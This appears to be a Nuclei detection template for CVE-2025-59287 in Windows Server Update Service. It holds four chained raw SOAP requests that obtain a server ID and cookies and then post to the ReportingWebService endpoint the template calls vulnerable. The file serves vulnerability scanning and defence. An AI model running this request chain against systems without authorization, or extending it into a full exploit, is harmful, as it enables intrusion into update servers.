Windows Server Update Service - Insecure Deserialization

id: CVE-2025-59287

info:
  name: Windows Server Update Service - Insecure Deserialization
  author: pussycat0x,princechaddha
  severity: critical
  description: |
    Windows Server Update Service contains an insecure deserialization vulnerability caused by deserialization of untrusted data. An unauthorized attacker with network access can exploit this to execute arbitrary code remotely, potentially leading to full system compromise.
  impact: |
    Unauthenticated attackers can exploit unsafe deserialization to execute arbitrary code remotely on Windows Server Update Service systems, achieving complete server compromise.
  remediation: |
    Apply the Microsoft security patches as described in the MSRC update guide for Windows Server Update Service and restrict network access to WSUS endpoints.
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287
    - https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability
    - https://hawktrace.com/blog/CVE-2025-59287
    - https://research.eye.security/wsus-deserialization-exploit-in-the-wild-cve-2025-59287
    - https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-59287
    cwe-id: CWE-502
    epss-score: 0.9998
    epss-percentile: 0.99981
    cpe: cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: microsoft
    product: windows_server_update_service
    shodan-query: cpe:"cpe:2.3:o:microsoft:windows_server_2012"
  tags: cve,cve2025,windows,server,wsus,kev,vkev,deserialization,rce,vuln

variables:
  domain: "{{rand_text_alphanumeric(5)}}.local"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"
        Content-Type: text/xml
        Content-Length: 331

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
                <cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
            </GetRollupConfiguration>
          </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "RollupResetGuid")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: ServerId
        group: 1
        regex:
          - '<ServerId>(.*)</ServerId>'
        internal: true

  - raw:
      - |
        POST /SimpleAuthWebService/SimpleAuth.asmx HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"
        Content-Type: text/xml
        Content-Length: 413

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
              <clientId>{{ServerId}}</clientId>
              <targetGroupName></targetGroupName>
              <dnsName>{{domain}}</dnsName>
            </GetAuthorizationCookie>
          </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "CookieData")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: cookie
        group: 1
        regex:
          - '<CookieData>(.*)</CookieData>'
        internal: true

  - raw:
      - |
        POST /ClientWebService/Client.asmx HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
        Content-Type: text/xml
        Content-Length: 413

        <?xml version="1.0" encoding="utf-8"?>
          <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
        <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
          <authCookies>
            <AuthorizationCookie>
              <PlugInId>SimpleTargeting</PlugInId>
              <CookieData>{{cookie}}</CookieData>
            </AuthorizationCookie>
            </authCookies>
            <oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
          <lastChange>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</lastChange>
            <currentTime>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</currentTime>
            <protocolVersion>1.20</protocolVersion>
        </GetCookie>
        </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "GetCookieResult")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: EncryptedData
        regex:
          - <EncryptedData>(.*)</EncryptedData>
        internal: true

  - raw:
      - |
        POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1
        Host: {{Hostname}}
        Accept: text/xml
        Connection: keep-alive
        Content-Type: text/xml
        SOAPAction: "http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"
        Content-Length: 4464

        <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
        <soap:Body>
        <ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
        <cookie>
        <Expiration>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</Expiration>
        <EncryptedData>{{EncryptedData}}</EncryptedData>
        </cookie>
        <clientTime>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</clientTime>
        <eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
        <ReportingEvent>
        <BasicData>
        <TargetID>
        <Sid>549743e5-8546-4f9d-b946-7948711f7b69</Sid>
        </TargetID>
        <SequenceNumber>0</SequenceNumber>
        <TimeAtTarget>2025-10-29T08:41:54.069</TimeAtTarget>
        <EventInstanceID>a0ce0892-6046-4f21-856e-69ffa43876b9</EventInstanceID>
        <NamespaceID>2</NamespaceID>
        <EventID>389</EventID>
        <SourceID>301</SourceID>
        <UpdateID>
        <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
        <RevisionNumber>0</RevisionNumber>
        </UpdateID>
        <Win32HResult>0</Win32HResult>
        <AppName>LocalServer</AppName>
        </BasicData>
        <ExtendedData>
        <MiscData soapenc:arrayType="xsd:string[2]">
        <string>Administrator=SYSTEM</string>
        <string>{{randstr}}</string>
        </MiscData>
        </ExtendedData>
        <PrivateData>
        <ComputerDnsName></ComputerDnsName>
        <UserAccountName></UserAccountName>
        </PrivateData>
        </ReportingEvent>
        </eventBatch>
        </ReportEventBatch>
        </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "ReportEventBatchResult>true</ReportEventBatchResult>")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and